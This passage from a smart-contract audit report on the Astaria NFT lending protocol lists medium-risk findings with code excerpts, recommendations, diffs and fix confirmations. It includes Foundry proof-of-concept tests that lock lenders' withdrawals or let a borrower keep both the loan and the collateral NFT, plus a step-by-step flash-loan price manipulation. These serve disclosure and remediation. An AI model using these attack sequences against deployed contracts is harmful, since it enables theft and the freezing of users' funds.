1. Assume the current epoch is e_1. A public vault lender request to withdraw at e_1 which causes W the withdraw proxy for this epoch to be deployed and let time pass.
2. Someone opens a lien and gets liquidated during this epoch such that its auction ends pass the next epoch e_2 so that W's `finalAuctionEnd` becomes non-zero and let time pass.
3. Process e_1 so that the current epoch to be processed next would be e_2.
4. Open a new lien for `1 wei` with `0` duration.
5. Instantly process e_2. At this point the `claim()` endpoint would be called on W to reset `finalAuctionEnd` to `0`. At this point the current epoch would be e_3.

6. Back-run and instantly liquidate the lien created in step 4 to set *W*'s `finalAuctionEnd` to a non-zero value again.

Since *W*'s `claim()` endpoint is the only endpoint that resets `finalAuctionEnd` to `0` and this endpoint can only be called when the current epoch is the claimable epoch for *W* which is e_2, `finalAuctionEnd` would cannot be able to be reset to `0` anymore as the epoch only increase in value. And so since the `redeem` and `withdraw` endpoints of the `WithdrawProxy` are guarded by the `onlyWhenNoActiveAuction()` modifier:

```
modifier onlyWhenNoActiveAuction() {
  WPStorage storage s = _loadSlot();
  // If auction funds have been collected to the WithdrawProxy
  // but the PublicVault hasn't claimed its share, too much money will be sent to LPs
  if (s.finalAuctionEnd != 0) {
    // if finalAuctionEnd is 0, no auctions were added
    revert InvalidState(InvalidStates.NOT_CLAIMED);
  }
  _;
}
```

The *W* shareholders would not be able to exit their shares. All shares are locked unless the protocol admin pushes updates to the current implementation.

```
// add the following test case to:
// file: src/test/LienTokenSettlementScenarioTest.t.sol

// make sure to also add the following import
// import {
//   WithdrawProxy
// } from "core/WithdrawProxy.sol";

  // Scenario 10: commitToLien -> liquidate w/ WithdrawProxy -> ...
  function testScenario10() public {
    TestNFT nft = new TestNFT(2);
    address tokenContract = address(nft);
    uint256 tokenIdOne = uint256(0);
    uint256 tokenIdTwo = uint256(1);

    // create a PublicVault with a 14-day epoch
    address publicVault = _createPublicVault(
      strategistOne,
      strategistTwo,
      14 days,
      1e17
    );

    address lender = address(1);
    vm.label(lender, "lender");

    // lend 10 ether to the PublicVault as address(1)
    _lendToVault(
      Lender({addr: lender, amountToLend: 10 ether}),
      payable(publicVault)
    );

    address lender2 = address(2);
    vm.label(lender2, "lender");

    // lend 10 ether to the PublicVault as address(2)
    _lendToVault(
      Lender({addr: lender2, amountToLend: 10 ether}),
      payable(publicVault)
    );
```

```
// skip 1 epoch
skip(14 days);

_signalWithdrawAtFutureEpoch(
  lender,
  payable(publicVault),
  1 // epoch to redeem
);

{
  console2.log("\n--- process epoch ---");
  PublicVault(payable(publicVault)).processEpoch();
  // current epoch should be 1

  uint256 currentEpoch = PublicVault(payable(publicVault)).getCurrentEpoch();
  emit log_named_uint("currentEpoch", currentEpoch);

  assertEq(
    currentEpoch,
    1,
    "The current epoch should be 1"
  );
}

skip(1 days);

// borrow 5 eth against the dummy NFT
(, ILienToken.Stack memory stackOne) = _commitToLien({
  vault: payable(publicVault),
  strategist: strategistOne,
  strategistPK: strategistOnePK,
  tokenContract: tokenContract,
  tokenId: tokenIdOne,
  lienDetails: ILienToken.Details({
    maxAmount: 50 ether,
    rate: (uint256(1e16) * 150) / (365 days),
    duration: 11 days,
    maxPotentialDebt: 0 ether,
    liquidationInitialAsk: 100 ether
  }),
  amount: 5 ether
});

// uint256 collateralId = tokenContract.computeId(tokenId);

skip(11 days);
OrderParameters memory listedOrderOne = _liquidate(stackOne);

IWithdrawProxy withdrawProxy = PublicVault(payable(publicVault))
  .getWithdrawProxy(1);

{
  (
    uint256 withdrawRatio,
    uint256 expected,
    uint40 finalAuctionEnd,
    uint256 withdrawReserveReceived
  ) = withdrawProxy.getState();

  emit log_named_uint("finalAuctionEnd @ e_1", finalAuctionEnd);
```

```
}

{
  skip(2 days);

  console2.log("\n--- process epoch ---");
  PublicVault(payable(publicVault)).processEpoch();
  // current epoch should be 2

  uint256 currentEpoch = PublicVault(payable(publicVault)).getCurrentEpoch();
  emit log_named_uint("currentEpoch", currentEpoch);

  assertEq(
    currentEpoch,
    2,
    "The current epoch should be 2"
  );
}

{
  (
    uint256 withdrawRatio,
    uint256 expected,
    uint40 finalAuctionEnd,
    uint256 withdrawReserveReceived
  ) = withdrawProxy.getState();

  uint256 withdrawReserve = PublicVault(payable(publicVault)).getWithdrawReserve();

  emit log_named_uint("finalAuctionEnd @ e_1", finalAuctionEnd);
  emit log_named_uint("withdrawReserve", withdrawReserve);

}

{
  PublicVault(payable(publicVault)).transferWithdrawReserve();
  uint256 withdrawReserve = PublicVault(payable(publicVault)).getWithdrawReserve();
  emit log_named_uint("withdrawReserve", withdrawReserve);
}

{
  // allow flash liens - liens that can be liquidated in the same block that was committed
  IAstariaRouter.File[] memory files = new IAstariaRouter.File[](1);

  files[0] = IAstariaRouter.File(
    IAstariaRouter.FileType.MinLoanDuration,
    abi.encode(uint256(0))
  );

  ASTARIA_ROUTER.fileBatch(files);
}


// borrow 5 eth against the dummy NFT
(, ILienToken.Stack memory stackTwo) = _commitToLien({
  vault: payable(publicVault),
  strategist: strategistOne,
  strategistPK: strategistOnePK,
  tokenContract: tokenContract,
  tokenId: tokenIdTwo,
  lienDetails: ILienToken.Details({
    maxAmount: 50 ether,
```

```
    rate: (uint256(1e16) * 150) / (365 days),
    duration: 0 seconds,
    maxPotentialDebt: 0 ether,
    liquidationInitialAsk: 1 wei
  }),
  amount: 1 wei
});



{
  skip(14 days);

  console2.log("\n--- process epoch ---");
  PublicVault(payable(publicVault)).processEpoch();
  // current epoch should be 3

  uint256 currentEpoch = PublicVault(payable(publicVault)).getCurrentEpoch();
  emit log_named_uint("currentEpoch", currentEpoch);

  assertEq(
    currentEpoch,
    3,
    "The current epoch should be 3"
  );

  (
    uint256 withdrawRatio,
    uint256 expected,
    uint40 finalAuctionEnd,
    uint256 withdrawReserveReceived
  ) = withdrawProxy.getState();

  // finalAuctionEnd will be non-zero
  emit log_named_uint("finalAuctionEnd @ e_1", finalAuctionEnd);
}


console2.log("\n--- liquidate the flash lien corresponding to epoch 1 ---");
OrderParameters memory listedOrderTwo = _liquidate(stackTwo);

{
  (
    uint256 withdrawRatio,
    uint256 expected,
    uint40 finalAuctionEnd,
    uint256 withdrawReserveReceived
  ) = withdrawProxy.getState();

  // finalAuctionEnd will be non-zero
  emit log_named_uint("finalAuctionEnd @ e_1", finalAuctionEnd);

}

// at this point `claim()` cannot be called for `withdrawProxy` since
// the current epoch does not equal to `2` which is the CLAIMABLE_EPOCH()
// for this withdraw proxy. and in fact it will never be since its current value
// is `3` and its value never decreases. This means `finalAuctionEnd` will never
// be reset to `0` and so `redeem` and `withdraw` endpoints cannot be called
// and the lender funds are locked in `withdrawProxy`.

{
```

```
      uint256 lenderShares = withdrawProxy.balanceOf(lender);
      vm.expectRevert(
        abi.encodeWithSelector(WithdrawProxy.InvalidState.selector,
        ↪  WithdrawProxy.InvalidStates.NOT_CLAIMED)
      );
      uint256 redeemedAssets = withdrawProxy.redeem(lenderShares, lender, lender);
    }
  }
```

5.3 Medium Risk

5.3.1 `transfer(...)` function in `_issuePayout(...)` can be replaced by a direct `call`

Severity: Medium Risk

Context:

- VaultImplementation.sol#L245

Description: In the `_issuePayout(...)` internal function of the `VaultImplementation` if the asset is `WETH` the amount is withdrawn from `WETH` to native tokens and then `transfer`ed to the `borrower`:

```
if (asset() == WETH()) {
  IWETH9 wethContract = IWETH9(asset());

  wethContract.withdraw(newAmount);

  payable(borrower).transfer(newAmount);
}
```

`transfer` limits the amount of gas shared to the call to the `borrower` which would prevent executing a complex callback and due to changes in gas prices in `EVM` it might even break some feature for a potential `borrower` contract.

For the analysis of the flow for both types of vaults please refer to the following issue:

- *'Storage parameters are updated after a few callback sites to external addresses in the commitToLien(...) flow'*

Recommendation: `call` the borrower directly without restricting the gas shared and only apply this recommendation if the recommendation from issue *'Storage parameters are updated after a few callback sites to external addresses in the commitToLien(...) flow'* is applied.

5.3.2 Storage parameters are updated after a few callback sites to external addresses in the `commitToLien(...)` flow

Severity: Medium Risk

Context:

- VaultImplementation.sol#L245
- LienToken.sol#L226
- PublicVault.sol#L686
- PublicVault.sol#L690
- VaultImplementation.sol#L230-L249
- VaultImplementation.sol#L221
- Vault.sol#L53-L58

Description: In the `commitToLien(...)` flow the following storage parameters are updated after some of the external call back sites when payout is issued or a lien is transferred from a private vault to its owner:

- `collateralStateHash` in `LienToken`: One can potentially re-enter to take another lien using the same collateral, but this is not possible since the collateral NFT token is already transferred to the `CollateralToken` (unless one is dealing with some esoteric NFT token). The `createLien(...)` requires this parameter to be `0`., and that's why a potential re-entrancy can bypass this requirement. | Read re-entrancy: Yes
- `slope` in `PublicVault`: - | Read re-entrancy: Yes
- `liensOpenForEpoch` in `PublicVault`: If flash liens are allowed one can re-enter and process the epoch before finishing the `commitToLien(...)`. And so the processed epoch would have open liens even though we would want to make sure this could not happen | Read re-entrancy: Yes

The re-entrancies can happen if the vault asset performs a call back to the receiver when transferring tokens (during issuance of payouts). And if one is dealing with `WETH`, the native token amount is `transfer(...)` to the borrower. Note in the case of Native tokens if the following recommendation from the below issue is considered the current issue could be of higher risk:

- *'transfer(...) function in _issuePayout(...) can be replaced by a direct call'*

Recommendation: Make sure all the storage parameter updates are performed first before the calls to potentially external contracts. The following changes are required:

1. update the `collateralStateHash` before minting a lien for the vault:

```
diff --git a/src/LienToken.sol b/src/LienToken.sol
index d22b459..e61d9dc 100644
--- a/src/LienToken.sol
+++ b/src/LienToken.sol
@@ -220,17 +220,16 @@ contract LienToken is ERC721, ILienToken, AuthInitializable, AmountDeriver {
       revert InvalidSender();
     }

-    (lienId, newStack) = _createLien(s, params);
+    (newStack) = _createLien(s, params);

     owingAtEnd = _getOwed(newStack, newStack.point.end);
-    s.collateralStateHash[params.lien.collateralId] = bytes32(lienId);
     emit NewLien(params.lien.collateralId, newStack);
   }

   function _createLien(
     LienStorage storage s,
     ILienToken.LienActionEncumber calldata params
-  ) internal returns (uint256 newLienId, ILienToken.Stack memory newSlot) {
+  ) internal returns (ILienToken.Stack memory newSlot) {
     uint40 lienEnd = (block.timestamp + params.lien.details.duration)
       .safeCastTo40();
     Point memory point = Point({
@@ -241,6 +240,8 @@ contract LienToken is ERC721, ILienToken, AuthInitializable, AmountDeriver {

     newSlot = Stack({lien: params.lien, point: point});
     newLienId = uint256(keccak256(abi.encode(newSlot)));
+    s.collateralStateHash[params.lien.collateralId] = bytes32(newLienId);
+
     _safeMint(
       params.receiver,
       newLienId,
```

2. For public vaults first add the lien then issue payout:

```
diff --git a/src/PublicVault.sol b/src/PublicVault.sol
index 654d8b1..c26c7b7 100644
--- a/src/PublicVault.sol
+++ b/src/PublicVault.sol
@@ -487,8 +487,8 @@ contract PublicVault is VaultImplementation, IPublicVault, ERC4626Cloned {
           (address, uint256, uint40, uint256, address, uint256)
         );

-       _issuePayout(borrower, amount, feeTo, feeRake);
        _addLien(tokenId, lienSlope, lienEnd);
+       _issuePayout(borrower, amount, feeTo, feeRake);
     }

     return IERC721Receiver.onERC721Received.selector;
```

5.3.3 `UNI_V3Validator` fetches spot prices that may lead to price manipulation attacks

Severity: Medium Risk

Context: UNI_V3Validator.sol#L126-L130

Description: `UNI_V3Validator.validateAndParse()` checks the state of the Uniswap V3 position. This includes checking the LP value through `LiquidityAmounts.getAmountsForLiquidity`.

```
//get pool state
//get slot 0
(uint160 poolSQ96, , , , , , ) = IUniswapV3PoolState(
  V3_FACTORY.getPool(token0, token1, fee)
).slot0();

(uint256 amount0, uint256 amount1) = LiquidityAmounts
  .getAmountsForLiquidity(
    poolSQ96,
    TickMath.getSqrtRatioAtTick(tickLower),
    TickMath.getSqrtRatioAtTick(tickUpper),
    liquidity
  );
```

- LiquidityAmounts.sol#L177-L221

When we deep dive into `getAmountsForLiquidity`, we see three cases. Price is below the range, price is within the range, and price is above the range.

```
function getAmountsForLiquidity(
    uint160 sqrtRatioX96,
    uint160 sqrtRatioAX96,
    uint160 sqrtRatioBX96,
    uint128 liquidity
  ) internal pure returns (uint256 amount0, uint256 amount1) {
    unchecked {
      if (sqrtRatioAX96 > sqrtRatioBX96)
        (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);

      if (sqrtRatioX96 <= sqrtRatioAX96) {
        amount0 = getAmount0ForLiquidity(
          sqrtRatioAX96,
          sqrtRatioBX96,
          liquidity
        );
      } else if (sqrtRatioX96 < sqrtRatioBX96) {
        amount0 = getAmount0ForLiquidity(
          sqrtRatioX96,
          sqrtRatioBX96,
          liquidity
        );
        amount1 = getAmount1ForLiquidity(
          sqrtRatioAX96,
          sqrtRatioX96,
          liquidity
        );
      } else {
        amount1 = getAmount1ForLiquidity(
          sqrtRatioAX96,
          sqrtRatioBX96,
          liquidity
        );
      }
    }
  }
```

For simplicity, we can break into `getAmount1ForLiquidity`

```
/// @notice Computes the amount of token1 for a given amount of liquidity and a price range
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount1 The amount of token1
function getAmount1ForLiquidity(
  uint160 sqrtRatioAX96,
  uint160 sqrtRatioBX96,
  uint128 liquidity
) internal pure returns (uint256 amount1) {
  unchecked {
    if (sqrtRatioAX96 > sqrtRatioBX96)
      (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);

    return
      FullMathUniswap.mulDiv(
        liquidity,
        sqrtRatioBX96 - sqrtRatioAX96,
        FixedPoint96.Q96
      );
  }
}
```

We find the amount is calculated as `amount = liquidity * (upper price - lower price)`. When the `slot0.poolSQ96` is in lp range, the lower price is the `slot0.poolSQ96`, the closer slot0 is to `lowerTick`, the smaller the `amount1` is.

This is vulnerable to price manipulation attacks as `IUniswapV3PoolState.slot0.poolSQ96` is effectively the spot price. Attackers can acquire huge funds through flash loans and shift the`slot0` by doing large swaps on `Uniswap`.

Assume the following scenario, the strategist sign a lien that allows the borrower to provide `ETH-USDC` position with `> 1,000,000` USDC and borrow 1,000,000 USDC from the vault.

- Attacker can first provides 1 ETH worth of lp at price range `2,000,000 ~ 2,000,001`.
- The attacker borrows flash loan to manipulate the price of the pool and now the `slot0.poolSQ96 = sqrt(2,000,000)`. (ignoring the decimals difference.
- `getAmountsForLiquidity` value the LP positions with the spot price, and find the LP has `1 * 2,000,000` USDC in the position. The attacker borrows `2,000,000`
- Restoring the price of `Uniswap` pool and take the profit to repay the flash loan.

Note that the project team has stated clearly that `UNI_V3Validator` will not be used before the audit. This issue is filed to provide information to the codebase.

Recommendation: Fetch price from a reliable price oracle instead of `slot0`. Also, it is recommended to document the risk of `UNI_V3Validator` in the codebase or documentation.

5.3.4 Users pay protocol fee for interests they do not get

Severity: Medium Risk

Context: PublicVault.sol#L629-L642

Description: The PublicVault._handleStrategistInterestReward() function currently charges a protocol fee from minting vault shares, affecting all vault LP participants. However, not every user receives interest payments. Consequently, a scenario may arise where a user deposits funds into the `PublicVault` before a loan is repaid, resulting in the user paying more in protocol fees than the interest earned. This approach appears to be unfair to certain users, leading to a disproportionate fee structure for those who do not benefit from the interest rewards.

Recommendation: This is an edge case where in certain cases, users may lose money from providing LP. The root cause of this is the way `PublicVault` values the total assets considered the interests being paid evenly according to the time. However, the protocol fee is charged when the payment is made.

PublicVault.totalAssets

```
function _totalAssets(VaultData storage s) internal view returns (uint256) {
  uint256 delta_t = block.timestamp - s.last;
  return uint256(s.slope).mulDivDown(delta_t, 1) + uint256(s.yIntercept);
}
```

There are three potential paths to address this issue:

1. Acknowledge the risks and inform users of the risks.
2. Change the way `PublicVault` record the interests. Distributes the interest to all vault lp when the payment is made. This is the design most yield aggregation vaults adopt. The `totalAssets` only increases when the protocol gets the money. The design can be cleaner this way.

```
function _totalAssets(VaultData storage s) internal view returns (uint256) {
      return uint256(s.yIntercept);
}

  function updateVault(UpdateVaultParams calldata params) external {
  _onlyLienToken();

  VaultData storage s = _loadStorageSlot();
  _accrue(s);

  //we are a payment
  if (params.decreaseInYIntercept > 0) {
    _setYIntercept(s, s.yIntercept - params.decreaseInYIntercept);
  } else {
    increaseYIntercept(params.interestPaid);
  }
  _handleStrategistInterestReward(s, params.interestPaid);
}
```

3. Set the post protocol fee `s.slope` and transfer protocol fees to `owner` when a payment is made.

```
  function _addLien(
    uint256 tokenId,
    uint256 lienSlope,
    uint40 lienEnd
  ) internal {
    VaultData storage s = _loadStorageSlot();
    _accrue(s);
+   lienSlope =   lienSlope.mulWadDown(1e18 - VAULT_FEE());
    uint256 newSlope = s.slope + lienSlope;
   _setSlope(s, newSlope);

    uint64 epoch = getLienEpoch(lienEnd);

    _increaseOpenLiens(s, epoch);
    emit LienOpen(tokenId, epoch);
  }
```

Astaria: Based on our research we will accept option 1 as the recommendation. Attempted a toy implementation that involved keeping the strategist reward off the books until repayment or liquidation. Such an implementation requires a significant overhaul of the code base.

Spearbit: Acknowledged.

5.3.5 Incorrect fee calculation in `_handleStrategistInterestReward` resulting in undercharged fees in `PublicVault`

Severity: Medium Risk

Context: LienToken.sol#L392-L430

Description: In the `PublicVault` contract, the function `_handleStrategistInterestReward` is being called during the makePayment process. However, it has been observed that the `TotalAssets` of the `PublicVault` does not change in `makePayment`, assuming it is a normal payment scenario.

`_mint(owner(), feeInShares);` would result in a smaller fee collection by the protocol.

Assume `totalAssets` = 2000 and `interestPaid` = 1000 and `Vault_FEE` = 50%

	totalSupply	totalAssets	protocolFee	protocolShares	pricePerShare
t_0	1,000	2000	--	--	2
t_1	1,000	2000	500	500 / 2 = 250	-
t_2	1,250	2000	500	250	1.6

While the protocol should collect 500$, it only collects 250 * 1.6 = 400

```
uint256 feeInShares = fee.mulDivDown(totalSupply(), totalAssets() - fee);

// instead of
uint256 feeInShares = fee.mulDivDown(totalSupply(), totalAssets());
```

Astaria: Fixed in PR 350.

Spearbit: Verified.

5.3.6 Seaport auctions not compatible with USDT

Severity: Medium Risk

Context: CollateralToken.sol#L173

Description: As per ERC20 specification, `approve()` returns a boolean

```
function approve(address _spender, uint256 _value) public returns (bool success)
```

However, USDT deviates from this standard and it's `approve()` method doesn't have a return value. Hence, if USDT is used as a payment token, the following line reverts in `validateOrder()` as it expects return data but doesn't receive it:

```
paymentToken.approve(address(transferProxy), s.LIEN_TOKEN.getOwed(stack));
```

Recommendation: Use solmate's `safeApprove()` function to accommodate USDT's `approve()`

```
paymentToken.safeApprove(address(transferProxy), s.LIEN_TOKEN.getOwed(stack));
```

Astaria: Fixed in PR339.

Spearbit: Verified.

5.3.7 Borrowers cannot provide slippage protection parameters when committing to a lien

Severity: Medium Risk

Context:

- AstariaRouter.sol#L497-L504

Description: When a borrower commits to a lien, `AstariaRouter` calls the strategy validator to fetch the lien details

```
(bytes32 leaf, ILienToken.Details memory details) = IStrategyValidator(
  strategyValidator
).validateAndParse(
    commitment.lienRequest,
    msg.sender,
    commitment.tokenContract,
    commitment.tokenId
  );
```

`details` include `rate`, `duration`, `liquidationInitialAsk`:

```
struct Details {
  uint256 maxAmount;
  uint256 rate; //rate per second
  uint256 duration;
  uint256 maxPotentialDebt; // not used anymore
  uint256 liquidationInitialAsk;
}
```

The borrower cannot provide slippage protection parameters to make sure these 3 values cannot enter into some undesired ranges.

Recommendation: Allow the borrower to provide slippage protection parameters to prevent the `details` parameters to be set to some undesired values.

- `rate`: borrower provides upper bound.
- `duration`: borrower can provide lower and upper bound. Lower bound protection would be more important.

- `liquidationInitialAsk`: borrower can provide lower and upper bound. The protocol still checks that this value is not less than the to-be-owed amount at the end of the lien's term.

5.3.8 The liquidation's auction starting price is not chosen perfectly

Severity: Medium Risk

Context:

- AstariaRouter.sol#L703

Description: When a lien is expired and liquidated the starting price for its `Seaport` auction is chosen as `stack.lien.details.liquidationInitialAs`.

It would make more sense to have the `startingPrice` to be the maximum of the amount owed up to now and the `stack.lien.details.liquidationInitialAsk`

$$p_s = \max(L_{in}, a_{owed})$$

For example if the `liquidate(...)` endpoint is called way after the lien's expiration time the amount owed might be bigger than the `stack.lien.details.liquidationInitialAsk`. When a lien is created the protocol checks that `stack.lien.details.liquidationInitialAsk` is not smaller than the to-be-owed amount at the end of the lien's term. But the lien can keep accruing interest if it is not liquidated right away when it gets expired.

Recommendation: Use the recommendation above and set `startingPrice` as

```
uint256 startingPrice = Math.max(
   stack.lien.details.liquidationInitialAsk,
   s.LIEN_TOKEN.getOwed(stack)
);
```

Astaria: Fixed in PR 337.

Spearbit: Fixed.

5.3.9 Canceled `Seaport` auctions can still be claimed by the liquidator

Severity: Medium Risk

Context:

- CollateralToken.sol#L263-L271
- AstariaRouter.sol#L696

Description: Canceled auctions can still be claimed by the liquidator

```
if (
  s.idToUnderlying[collateralId].auctionHash !=
  s.SEAPORT.getOrderHash(getOrderComponents(params, counterAtLiquidation))
) {
  //revert auction params don't match
  revert InvalidCollateralState(
    InvalidCollateralStates.INVALID_AUCTION_PARAMS
  );
}
```

If in the future we would add an authorised endpoint that could call `s.SEAPORT.incrementCounter()` to cancel all outstanding NFT auctions, the `liquidator` can call this endpoint `liquidatorNFTClaim(..., counterAtLiquidation)` where `counterAtLiquidation` is the old counter to claim its NFT after the canceled `Seaport` auction ends.

Recommendation: Make sure to use the current `Seaport` counter when authenticating an auction hash

```
if (
  s.idToUnderlying[collateralId].auctionHash !=
  s.SEAPORT.getOrderHash(getOrderComponents(params, s.SEAPORT.getCounter(address(this)))
) {
  //revert auction params don't match
  revert InvalidCollateralState(
    InvalidCollateralStates.INVALID_AUCTION_PARAMS
  );
}
```

Astaria: The goal was to allow the case where non cancelled auctions(expired) could be still retrieved, theres no interest in incrementing nonces. Recommendation applied in PR 343.

Spearbit: Fixed.

5.3.10 The risk of bad debt is transferred to the non-redeeming shareholders and not the redeeming holders

Severity: Medium Risk

Context:

- PublicVault.sol#L373-L379
- PublicVault.sol#L411

Description: Right before a successful `epochProcess()`, the total assets A equals to

$$A = y_0 + s(t - t_{last}) = B + \sum_{s \in U_1} a(s, t)$$

$+ \sum_{(s,t_l) \in U_2} a(s, t_l)$

All the parameter values in the below table are considered as just before calling the `processEpoch()` endpoint unless stated otherwise.

- A | `totalAssets()` |
- y_0 | `yIntercept` |
- s | `slope` |
- t_{last}| `last`timestamp used to update y_0 or s |
- t | `block.timestamp` |
- B | `ERC20(asset()).balanceOf(PublicVault)`, underlying balance of the public vault |
- U_1 | The set of active liens/stacks owned by the `PublicVault`, this can be non-empty due to how long the lien durations can be |
- U_2 | The set of liquidated liens/stacks and their corresponding liquidation timestamp (t_l) which are owned by the current epoch's `WithdrawProxy` $W_{e_{curr}}$. These liens belong to the current epoch, but their auction ends in the next epoch duration. |
- $a(s, t)$ | total amount owned by the stack s up to the timestamp t.
- S | `totalSupply()`.
- S_W | number of shares associated with the current epoch's `WithdrawProxy` ,`currentWithdrawProxy.totalSupply()` |
- E | `currentWithdrawProxy.getExpected()`.

- w_r | `withdrawReserve` this is the value after calling `epochProcess()`.
- y_0' | `yIntercept` after calling `epochProcess()`.
- t_p | `last` after calling `epochProcess()`.
- A' | `totalAssets` after calling `epochProcess()`.
- W_n | the current epoch's `WithdrawProxy` before calling `epochProcess()`.
- W_{n+1} | the current epoch's `WithdrawProxy` after calling `epochProcess()`.

Also assume that `claim()` was already called on the previous epoch's `WithdrawProxy` if needed.

After the call to `epochProcess()` (in the same block), we would have roughly (not considering the division errors)

$$A' = y_0' + s(t - t_p)$$

$$A' = (1 - \frac{S_W}{S})A + \sum_{s \in U_1} (a(s,t) - a(s,t_p))$$

$$w_r = (\frac{S_W}{S})\ B + \sum_{s \in U_1} a(s,t_p)$$

$$A = A' + w_r + (\frac{S_W}{S}) \sum_{(s,t_l) \in U_2} a(s,t_l)$$

and so:

$$-\Delta A = w_r + (\frac{S_W}{S})E$$

To be able to call `processEpoch()` again we need to make sure w_r tokens have been transferred to W_n either from the public vault's assets B or from W_{n+1} assets. Note that at this point w_r equals to

$$w_r = \frac{S_W}{S}B + \frac{S_W}{S} \sum_{s \in U_1} a(s,t_p)$$

The $\frac{S_W}{S}B$ is an actual asset and can be transferred to W_n right away. The $\frac{S_W}{S} \sum_{s \in U_1} a(s,t_p)$ portion is a percentage of the amount owed by active liens at the time the `processEpoch()` was called. Depending on whether these liens get paid fully or not we would have:

- If they get fully paid there are no risks for the future shareholders to bare.
- If these liens are not fully paid since we have transferred $\frac{S_W}{S} \sum_{s \in U_1} a(s,t_p)$ from the actual asset balance to W_n the redeeming shareholder would not take the risk of these liens getting liquidated for less than their value. But these risks are transferred to the upcoming shareholders or the shareholders who have not redeemed their positions yet.

Recommendation: The above should be noted for the users and also documented. To safeguard perhaps we should define

$$w_r = \frac{S_W}{S}B$$

and only transfer the portions of the exited liens to W_n that corresponds to $\frac{S_W}{S}\sum_{s\in U_1} a(s, t_p)$. This would require changes to the accounting of the `WithdrawProxy` and potentially delay the withdraw shares a bit further.

5.3.11 `validateOrder(...)` does not check the consideration amount against its token balance

Severity: Medium Risk

Context:

- CollateralToken.sol#L158

Description: When a lien position gets liquidated the `CollateralToken` creates a full restricted `Seaport` auction with itself as both the `offerer` and the `zone`. This will cause `Seaport` to do a callback to the `CollateralToken`'s `validateOrder(...)` endpoint at the end of order fulfilment/matching. In this endpoint we have:

```
uint256 payment = zoneParameters.consideration[0].amount;
```

This `payment` amount is not validated.

Recommendation: Make sure

1. `ERC20(zoneParameters.consideration[0].token).balanceOf(CollateralToken)` is at least the `payment` amount.
2. Inherit from `seaport-core/../AmountDeriver` and call `_locateCurrentAmount(...)` and derive the correct amount based on the start/end timestamp/amounts and compare to `payment`.

Astaria: Fixed in PR 337.

Spearbit: Fixed.

5.3.12 If the auction window is `0`, the borrower can keep the lien amount and also take back its collateralised NFT token

Severity: Medium Risk

Context:

- AstariaRouter.sol#L300-L302
- CollateralToken.sol#L527
- seaport-core/src/lib/OrderValidator.sol#L677
- seaport-core/src/lib/Verifiers.sol#L58

Description: If an authorised entity would file to set the `auctionWindow` to `0`, borrowers can keep their lien amount and also take back their collateralised NFT tokens. Below is how this type of vulnerability works.

1. A borrower takes a lien from a vault by collateralising its NFT token.
2. Borrower let the time pass so that its lien/stack position can be liquidated.
3. The borrower atomically liquidates and then calls the `liquidatorNFTClaim(...)` endpoint of the `CollateralToken`.

The timestamps are as follows:

$$t_s^{lien} \leq t_e^{lien} = t_s^{auction} = t_e^{auction}$$

We should note that in step 3 above when the borrower liquidates its own position, the `CollateralToken` creates a `Seaport` auction by calling its `validate(...)` endpoint. But this endpoint does not validate the orders timestamps so even though the timestamps provided are not valid when one tries to fulfil/match the order since `Seaport` requires that $t_s^{auction} \leq t_{now} < t_e^{auction}$. So it is not possible to fulfil/match an order where $t_s^{auction} = t_e^{auction}$. Thus, in

step 3 it is not needed to call `liquidatorNFTClaim(...)` immediately as the auction created cannot be fulfilled by anyone.

```
// add the following test case to
// file: src/test/LienTokenSettlementScenarioTest.t.sol
function _createUser(uint256 pk, string memory label) internal returns(address addr) {
  uint256 ownerPK = uint256(pk);
  addr = vm.addr(ownerPK);
  vm.label(addr, label);
}

function testScenario14() public {
  {
    // allow flash liens - liens that can be liquidated in the same block that was committed
    IAstariaRouter.File[] memory files = new IAstariaRouter.File[](1);

    files[0] = IAstariaRouter.File(
      IAstariaRouter.FileType.AuctionWindow,
      abi.encode(uint256(0))
    );

    ASTARIA_ROUTER.fileBatch(files);
    console2.log("[+] set auction window to 0.");
  }

  {
    address borrower1 = _createUser(0xb055033501, "borrower1");
    address vaultOwner = _createUser(0xa77ac3, "vaultOwner");

    address publicVault = _createPublicVault(vaultOwner, vaultOwner, 14 days);
    vm.label(publicVault, "publicVault");
    console2.log("[+] public vault is created: %s", publicVault);
    console2.log("vault start: %s", IPublicVault(publicVault).START());

    skip(14 days);

    _lendToVault(
      Lender({addr: vaultOwner, amountToLend: 10 ether}),
      payable(publicVault)
    );

    TestNFT nft1 = new TestNFT(1);
    address tokenContract1 = address(nft1);
    uint256 tokenId1 = uint256(0);

    nft1.transferFrom(address(this), borrower1, tokenId1);

    vm.startPrank(borrower1);
    (uint256 lienId,ILienToken.Stack memory stack) = _commitToLien({
      vault: payable(publicVault),
      strategist: vaultOwner,
      strategistPK: 0xa77ac3,
      tokenContract: tokenContract1,
      tokenId: tokenId1,
      lienDetails: ILienToken.Details({
        maxAmount: 2 ether,
        rate: 1e8,
        duration: 1 hours,
        maxPotentialDebt: 0 ether,
        liquidationInitialAsk: 10 ether
      }),
      amount: 2 ether,
```

```
      revertMessage: ""
    });

    console2.log("ETH balance of the borrower: %s", borrower1.balance);


    skip(1 hours);

    console2.log("[+] lien created with 0 duration. lineId: %s", lienId);

    OrderParameters memory params = _liquidate(stack);
    console2.log("[+] lien liquidated by the borrower.");

    COLLATERAL_TOKEN.liquidatorNFTClaim(
      stack,
      params,
      COLLATERAL_TOKEN.SEAPORT().getCounter(address(COLLATERAL_TOKEN))
    );

    console2.log("[+] liquidator/borrower claimed NFT.\n");

    vm.stopPrank();

    console2.log("owner of the NFT token: %s", nft1.ownerOf(tokenId1));
    console2.log("ETH balance of the borrower: %s", borrower1.balance);

    assertEq(
      nft1.ownerOf(tokenId1),
      borrower1,
      "the borrower should own the NFT"
    );

    assertEq(
      borrower1.balance,
      2 ether,
      "borrower should still have the lien amount."
    );
  }
}
```

`forge t --mt testScenario14 --ffi -vvv`:

```
[+] set auction window to 0.
[+] public vault is created: 0x4430c0731d87768Bf65c60340D800bb4B039e2C4
vault start: 1
ETH balance of the borrower: 2000000000000000000
[+] lien created with 0 duration. lineId:
↪  91310819262208864484407122336131134788367087956387872647527849353935417268035
[+] lien liquidated by the borrower.
[+] liquidator/borrower claimed NFT.

owner of the NFT token: 0xA92D072d39E6e0a584a6070a6dE8D88dfDBae2C7
ETH balance of the borrower: 2000000000000000000
```

